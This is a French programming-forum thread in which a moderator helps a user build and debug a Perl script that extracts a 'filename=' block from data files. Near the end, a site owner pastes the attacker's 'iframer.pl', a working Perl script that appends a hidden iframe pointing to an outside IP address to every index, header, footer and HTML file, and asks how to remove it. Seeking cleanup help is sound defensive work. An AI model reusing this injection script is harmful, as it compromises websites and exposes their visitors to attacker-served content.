Extraire le contenu d'un fichier avec perl
Fermé
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
-
27 nov. 2006 à 20:29
Waba - 24 juin 2008 à 03:02
Waba - 24 juin 2008 à 03:02
A voir également:
- Extraire le contenu d'un fichier avec perl
- Fichier rar - Guide
- Comment ouvrir un fichier epub ? - Guide
- Comment réduire la taille d'un fichier - Guide
- Extraire une video youtube - Guide
- Ouvrir un fichier .bin - Guide
21 réponses
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
27 nov. 2006 à 21:11
27 nov. 2006 à 21:11
Salut,
#!/usr/bin/perl use strict;use warnings; open F_LIRE,"fichier" or die "E/S : $!\n"; open F_ECRIRE,">> resultat" or die "E/S : $!\n"; while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; } close F_LIRE; close F_ECRIRE; __END__lami20j
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 11:56
28 nov. 2006 à 11:56
Re,
En langage plus naturel, j'ouvre en lecture le fichier appellé fichier
au lieu de fichier on peut aussi écrire /chemin/vers/fichier
Il s'agit d'une ouverture en mode ajout.
Le mode ajoute n'écrase pas le fichier s'il existe et il ajoute à la fin
au lieu de resultat on peut écrire aussi /chemin/vers/resultat
et écrit dans resultat seulement le paragraphe compris entre
filename= et la ligne vide après le paragraphe (donc ce que tu as besoin
print F_ECRIRE if /^filename=/.../^\s*$/;
veut dire
écrit dans resultat si compris entre filename= et la ligne vide après le paragraphe
Pour exécuter le script tu tapes simplement
open F_LIRE,"fichier" or die "E/S : $!\n";J'ouvre une connexion(handle) du script vers le fichier appellé fichier
En langage plus naturel, j'ouvre en lecture le fichier appellé fichier
au lieu de fichier on peut aussi écrire /chemin/vers/fichier
open F_LIRE,"/chemin/vers/fichier" or die "E/S : $!\n";J'appelle cette connexion (ouverture), F_LIRE
open F_ECRIRE,">> resultat" or die "E/S : $!\n";J'ouvre une connexion(handle) du script vers le fichier resultat
Il s'agit d'une ouverture en mode ajout.
Le mode ajoute n'écrase pas le fichier s'il existe et il ajoute à la fin
au lieu de resultat on peut écrire aussi /chemin/vers/resultat
open F_ECRIRE,">> /chemin/vers/resultat" or die "E/S : $!\n";J'appelle cette connexion (ouverture en mode ajout), F_ECRIRE
while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; }Ici je lis le fichier ligne par ligne en utilisant l'opérateur diamant <> et le nom de ma connexion en lecture
et écrit dans resultat seulement le paragraphe compris entre
filename= et la ligne vide après le paragraphe (donc ce que tu as besoin
print F_ECRIRE if /^filename=/.../^\s*$/;
veut dire
écrit dans resultat si compris entre filename= et la ligne vide après le paragraphe
close F_LIRE; close F_ECRIRE;fermeture de la connexion vers les fichiers une fois le travail terminé.
Pour exécuter le script tu tapes simplement
mon_script.plaprès avoir attribuer les droit d'exécution
chmod a+x mon_script.plou
perl mon_script.pllami20j
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 12:05
28 nov. 2006 à 12:05
Re,
j'ai essayé de faire ce que tu m'as dis , mais on exécutant il me sort des messages d'erreurs , et il crée pas le fichier resultat;
extract.pl:
#!/usr/bin/perl
use strict;use warnings;
open F_LIRE,"D:\Shared\Perl\F0006741.dc"
or die "E/S : $!\n";
open F_ECRIRE,">> D:\Shared\Perl\resultat"
or die "E/S : $!\n";
while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}
close F_LIRE;
close F_ECRIRE;
__END__
et voila le message d'erreur qui m'affiche :
D:\Shared\Perl>perl extract.pl
Unrecognized escape \S passed through at extract.pl line 5.
Unrecognized escape \P passed through at extract.pl line 5.
Unrecognized escape \F passed through at extract.pl line 5.
Unrecognized escape \S passed through at extract.pl line 8.
Unrecognized escape \P passed through at extract.pl line 8.
E/S : No such file or directory
D:\Shared\Perl>
es ce qu'on peut mettre le fichier d'entrée comme variable ?
genre : perl extract.pl mon_fichier ?
Merci encore une fois,
j'ai essayé de faire ce que tu m'as dis , mais on exécutant il me sort des messages d'erreurs , et il crée pas le fichier resultat;
extract.pl:
#!/usr/bin/perl
use strict;use warnings;
open F_LIRE,"D:\Shared\Perl\F0006741.dc"
or die "E/S : $!\n";
open F_ECRIRE,">> D:\Shared\Perl\resultat"
or die "E/S : $!\n";
while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}
close F_LIRE;
close F_ECRIRE;
__END__
et voila le message d'erreur qui m'affiche :
D:\Shared\Perl>perl extract.pl
Unrecognized escape \S passed through at extract.pl line 5.
Unrecognized escape \P passed through at extract.pl line 5.
Unrecognized escape \F passed through at extract.pl line 5.
Unrecognized escape \S passed through at extract.pl line 8.
Unrecognized escape \P passed through at extract.pl line 8.
E/S : No such file or directory
D:\Shared\Perl>
es ce qu'on peut mettre le fichier d'entrée comme variable ?
genre : perl extract.pl mon_fichier ?
Merci encore une fois,
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 12:18
28 nov. 2006 à 12:18
Essaie
lami20j
#!/chemin/vers/ton/perl use strict;use warnings; open F_LIRE,'D:\Shared\Perl\F0006741.dc' or die "E/S : $!\n"; open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt' or die "E/S : $!\n"; while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; } close F_LIRE; close F_ECRIRE; __END__
lami20j
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 12:25
28 nov. 2006 à 12:25
re,
merci pour ta réactivité,
le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
Merci encore une fois
merci pour ta réactivité,
le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
Merci encore une fois
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 12:30
28 nov. 2006 à 12:30
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 12:34
28 nov. 2006 à 12:34
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 12:46
28 nov. 2006 à 12:46
Salut,
Je vois ce que c'est.
C'est pour ça qu'il faut faire attention de ce qu'on doit comme info
tu as dit
mais en fait c'est
Donc il y a une ligne vide entre la ligne avec filename et le paragraphe
En plus filename n'est pas au début de la ligne, avant il y a des espaces
moi je cherchais ^filename, donc un filename au début de ligne
jusqu'à la ligne vide qui fini le paragraphe
tu comprends le problème?!
je vais voir ce soir, je n'ai pas la possibilité de tester
lami20j
Je vois ce que c'est.
C'est pour ça qu'il faut faire attention de ce qu'on doit comme info
tu as dit
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" @|99|OR|99|CT|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005|||||| &|6|
mais en fait c'est
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" @|99|OB|99|CO|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01= /2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01= /2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01= /2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01= /2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2= 005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2= 005|21/01/2005|||||| &|6|Et ça change tout.
Donc il y a une ligne vide entre la ligne avec filename et le paragraphe
En plus filename n'est pas au début de la ligne, avant il y a des espaces
moi je cherchais ^filename, donc un filename au début de ligne
jusqu'à la ligne vide qui fini le paragraphe
tu comprends le problème?!
je vais voir ce soir, je n'ai pas la possibilité de tester
lami20j
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 12:49
28 nov. 2006 à 12:49
essaie avec
P.S.
le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
Le fait que le fichier resultat.txt a été créé veut dire que le script fonctionne.
Mais à cause de format que tu as donné au début il ne trouve rien, donc il n'écrit rien dans le fichier que le script a créé
#!/chemin/vers/ton/perl use strict;use warnings; open F_LIRE,'D:\Shared\Perl\F0006741.dc' or die "E/S : $!\n"; open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt' or die "E/S : $!\n"; while(<F_LIRE>){ print F_ECRIRE if /\s+filename=/.../^---/; } close F_LIRE; close F_ECRIRE; __END__lami20j
P.S.
le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
Le fait que le fichier resultat.txt a été créé veut dire que le script fonctionne.
Mais à cause de format que tu as donné au début il ne trouve rien, donc il n'écrit rien dans le fichier que le script a créé
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 13:01
28 nov. 2006 à 13:01
ca marche lami20j;merci beaucoup;
voila le contenu du fichier resultat.txt
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
005|21/01/2005||||||
&|6|
juste un dernier truc, comment rendre le nom du fichier comme argument;
1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?
2/ comment enlever les retour chariot dans le fichier resultat.txt*le fichier doit etre comme ca :
@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=005|21/01/2005||||||
&|6|
Merci encore une fois.
voila le contenu du fichier resultat.txt
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
005|21/01/2005||||||
&|6|
juste un dernier truc, comment rendre le nom du fichier comme argument;
1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?
2/ comment enlever les retour chariot dans le fichier resultat.txt*le fichier doit etre comme ca :
@|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=005|21/01/2005||||||
&|6|
Merci encore une fois.
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 13:17
28 nov. 2006 à 13:17
Re,
juste un dernier truc, comment rendre le nom du fichier comme argument;
1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?
2/ comment enlever les retour chariot dans le fichier resultat.txt*
essaie ça (je n'ai pas testé)
juste un dernier truc, comment rendre le nom du fichier comme argument;
1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?
#!/chemin/vers/ton/perl use strict;use warnings; open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt' or die "E/S : $!\n"; while(<>){ print F_ECRIRE if /\s+filename=/.../^---/; } close F_ECRIRE; __END__
2/ comment enlever les retour chariot dans le fichier resultat.txt*
essaie ça (je n'ai pas testé)
#!/chemin/vers/ton/perl use strict;use warnings; open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt' or die "E/S : $!\n"; while(<>){ s/(\d=)\r?\n?/$1/; print F_ECRIRE if /\s+filename=/.../^---/; } close F_ECRIRE; __END__lami20j
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 13:17
28 nov. 2006 à 13:17
Pardon lami20j,
je sais que j'ai abusé, je m'excuse encore une fois ,
c'est trés important pour moi de résoudre ce probléme, le plus vite possible,
merci encore une fois;
je sais que j'ai abusé, je m'excuse encore une fois ,
c'est trés important pour moi de résoudre ce probléme, le plus vite possible,
merci encore une fois;
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 13:28
28 nov. 2006 à 13:28
Merci infinément,
ca a marché pour les 2 points;
le fichier en argument , et le retour chariot;
maintenant je vais lancé ce script perl a partir d'un script shell,
#!/bin/sh
/usr/bin/perl -x extract.pl F0006741.dc
es ce que cette commande est juste?
Merci encore une fois;
ca a marché pour les 2 points;
le fichier en argument , et le retour chariot;
maintenant je vais lancé ce script perl a partir d'un script shell,
#!/bin/sh
/usr/bin/perl -x extract.pl F0006741.dc
es ce que cette commande est juste?
Merci encore une fois;
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 13:30
28 nov. 2006 à 13:30
Tu es toujours sous windows?
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 13:33
28 nov. 2006 à 13:33
ton script je l'ai testé sur os windows, mais je veux l'integré dans un script shell dans un environnement Unix ( os = AIX)
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 13:37
28 nov. 2006 à 13:37
Re
mais je veux l'integré dans un script shell dans un environnement Unix
Dans ce cas il faut faire attention pour les caractère nouvelle ligne \n et retour chariot \r.
Il faut tester le script pour voir ce que ça donne. Tu risques d'avoir des erreurs.
lami20j
#!/bin/sh /usr/bin/perl extract.pl F0006741.dc
mais je veux l'integré dans un script shell dans un environnement Unix
Dans ce cas il faut faire attention pour les caractère nouvelle ligne \n et retour chariot \r.
Il faut tester le script pour voir ce que ça donne. Tu risques d'avoir des erreurs.
lami20j
titexe
Messages postés
55
Date d'inscription
lundi 27 novembre 2006
Statut
Membre
Dernière intervention
16 août 2010
1
28 nov. 2006 à 13:50
28 nov. 2006 à 13:50
merci encore une fois :-)
je voyais ce resultat comme un reve,
maintenant le traitement que je vais effectué aprés avec ( awk et shell) , je vais recuperer de ce fichier resultat.txt le nom du fichier qui se trouve dans filename="nom_du_fichier".
et je vais supprimer les 2 premiéres lignes et les 2 derniéres comme ca j'aurais juste le contenu du fichier,
je vous informe que ces fichiers je les recoient dans une plateforme d'echange ,et je doit extraire du fichier originale le nom du fichier et son contenu:
nom du fichier= OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl
contenu =
@|99|OR|99|CT|200608091600|2006|212121||OD|ACTES||||
D|2006|121201300030001011|08|1|1014|1365|300000.0|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|200000.0|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|400000.0|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|300000.0|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|400000.0|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|400000.0|3|6|13|13/01/2=005|21/01/2005||||||
&|6|
juste pour vous information;
merci encore une fois,
j'ai encore des traitements maintenant a faire avec awk et shell pour obtenir ce qui précede.
es ce que je peux avoir vos suggestions a ce propos?
Merci beaucoup lami20j
je voyais ce resultat comme un reve,
maintenant le traitement que je vais effectué aprés avec ( awk et shell) , je vais recuperer de ce fichier resultat.txt le nom du fichier qui se trouve dans filename="nom_du_fichier".
et je vais supprimer les 2 premiéres lignes et les 2 derniéres comme ca j'aurais juste le contenu du fichier,
je vous informe que ces fichiers je les recoient dans une plateforme d'echange ,et je doit extraire du fichier originale le nom du fichier et son contenu:
nom du fichier= OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl
contenu =
@|99|OR|99|CT|200608091600|2006|212121||OD|ACTES||||
D|2006|121201300030001011|08|1|1014|1365|300000.0|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|200000.0|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|400000.0|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|300000.0|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|400000.0|3|5|12|12/01/2=005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|400000.0|3|6|13|13/01/2=005|21/01/2005||||||
&|6|
juste pour vous information;
merci encore une fois,
j'ai encore des traitements maintenant a faire avec awk et shell pour obtenir ce qui précede.
es ce que je peux avoir vos suggestions a ce propos?
Merci beaucoup lami20j
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
28 nov. 2006 à 14:14
28 nov. 2006 à 14:14
je voyais ce resultat comme un reve,
Avec CCCM = Communauté|entre|onsortium Comment Ça Marche les rêves deviennent réalités.
je vais effectué aprés avec ( awk et shell)
Bon, je ne vais pas exagéré de te demander pourquoi tu ne veux pas faire ça en perl.
Pfffff!!! Je viens de le faire :-)))))))))))
J'espère que les maîtres jipicy et asevere ou asevere et jipicy passeront par là :-)
lami20j
Avec CCCM = Communauté|entre|onsortium Comment Ça Marche les rêves deviennent réalités.
je vais effectué aprés avec ( awk et shell)
Bon, je ne vais pas exagéré de te demander pourquoi tu ne veux pas faire ça en perl.
Pfffff!!! Je viens de le faire :-)))))))))))
J'espère que les maîtres jipicy et asevere ou asevere et jipicy passeront par là :-)
lami20j
Bonjour,
J'ai eu une attaque sur un de mes sites de la façon suivante (fichiet iframer.pl à la racine du site) :
#!/usr/bin/perl
use File::Find;
$iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';
sub process_file {
if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm/i){
open(FILE,">>$File::Find::name");
print $File::Find::name."\r\n";
print FILE $iframe;
close(FILE);
}
}
find(\&process_file,@ARGV);
Celui a infecté tous les fichiers nommés ci-dessus... Pouvez-vous m'aider pour coder en perl une action qui supprimerai l'iframe dans tous les fichiers infectés en automatique. Je suis désolé de m'y prendre comme cela mais je suis néophyte en Perl.
Merci d'avance pour votre aide.
Bien à vous.
J'ai eu une attaque sur un de mes sites de la façon suivante (fichiet iframer.pl à la racine du site) :
#!/usr/bin/perl
use File::Find;
$iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';
sub process_file {
if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm/i){
open(FILE,">>$File::Find::name");
print $File::Find::name."\r\n";
print FILE $iframe;
close(FILE);
}
}
find(\&process_file,@ARGV);
Celui a infecté tous les fichiers nommés ci-dessus... Pouvez-vous m'aider pour coder en perl une action qui supprimerai l'iframe dans tous les fichiers infectés en automatique. Je suis désolé de m'y prendre comme cela mais je suis néophyte en Perl.
Merci d'avance pour votre aide.
Bien à vous.
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
4 avril 2008 à 13:41
4 avril 2008 à 13:41
Salut,
je pourrai peut être t'aider
ton site est hebergé par qui?
je pourrai peut être t'aider
ton site est hebergé par qui?
Shasam
Messages postés
1
Date d'inscription
vendredi 4 avril 2008
Statut
Membre
Dernière intervention
4 avril 2008
4 avril 2008 à 15:10
4 avril 2008 à 15:10
Bonjour à toi,
C'est sympa d'avoir répondu...
Je suis hébergé chez OVH
je suis entrain de bosser sur la commande suivante mais je pense qu'il me manque encore du code bien écrit :
#!/usr/bin/perl -n -i
while ($ligne = <>) {
$ligne = print unless (<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>);
print $ligne;
}
Merci de ton aide, c'est sympa...
Bien à toi.
C'est sympa d'avoir répondu...
Je suis hébergé chez OVH
je suis entrain de bosser sur la commande suivante mais je pense qu'il me manque encore du code bien écrit :
#!/usr/bin/perl -n -i
while ($ligne = <>) {
$ligne = print unless (<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>);
print $ligne;
}
Merci de ton aide, c'est sympa...
Bien à toi.
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
4 avril 2008 à 15:22
4 avril 2008 à 15:22
je te conseille de rien faire et avoir un peu de patience
je vais regarder ce soir
j'aimerai aussi que tu mets sur cjoint.com un fichier pour que je puisse faire des tests
merci
je vais regarder ce soir
j'aimerai aussi que tu mets sur cjoint.com un fichier pour que je puisse faire des tests
merci
Bonjour,
Désolé de ne pas t'avoir répondu plutôt mais j'ai du m'absenter hier en fin d'après-midi.
Voici le lien que tu m'as demandé : https://www.cjoint.com/?efjs0GtXmc
C'est très sympa à toi de prendre du temps pour m'aider...
Je te souhaite un bon week-end.
JC
Désolé de ne pas t'avoir répondu plutôt mais j'ai du m'absenter hier en fin d'après-midi.
Voici le lien que tu m'as demandé : https://www.cjoint.com/?efjs0GtXmc
C'est très sympa à toi de prendre du temps pour m'aider...
Je te souhaite un bon week-end.
JC
lami20j
Messages postés
21331
Date d'inscription
jeudi 4 novembre 2004
Statut
Modérateur, Contributeur sécurité
Dernière intervention
30 octobre 2019
3 569
5 avril 2008 à 11:05
5 avril 2008 à 11:05
Salut,
sur cjoint tu as mis le scirpt qu'on l'a déjà vu ici Message 22
ce que j'ai besoin c'est le contenu de tes pages infectées (les pages web)
à vrai dire, il sera plus facile de pouvoir me connecter sur ton serveur pour voir (ce n'est pas la 1ère fois que je le fait)
à toi de decider.
Si tu ne l'as pas fait, je te conseille de faire une sauvegarde de ton site.
Il faut aussi faire un rapport d'incident chez OVH
sur cjoint tu as mis le scirpt qu'on l'a déjà vu ici Message 22
ce que j'ai besoin c'est le contenu de tes pages infectées (les pages web)
à vrai dire, il sera plus facile de pouvoir me connecter sur ton serveur pour voir (ce n'est pas la 1ère fois que je le fait)
à toi de decider.
Si tu ne l'as pas fait, je te conseille de faire une sauvegarde de ton site.
Il faut aussi faire un rapport d'incident chez OVH
28 nov. 2006 à 07:17
Q: pourriez tu, juste m'expliquer cette ligne :
while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; }
# affiche le contenu du fichier en commencant par filename jusqu'a? ( normalement jusqu'a la ligne &|6] )
Q: et comment lancer ce script?
je pense qu'il faut lancer de cette maniére : script.pl fichier
Merci encore une fois,
28 nov. 2006 à 10:54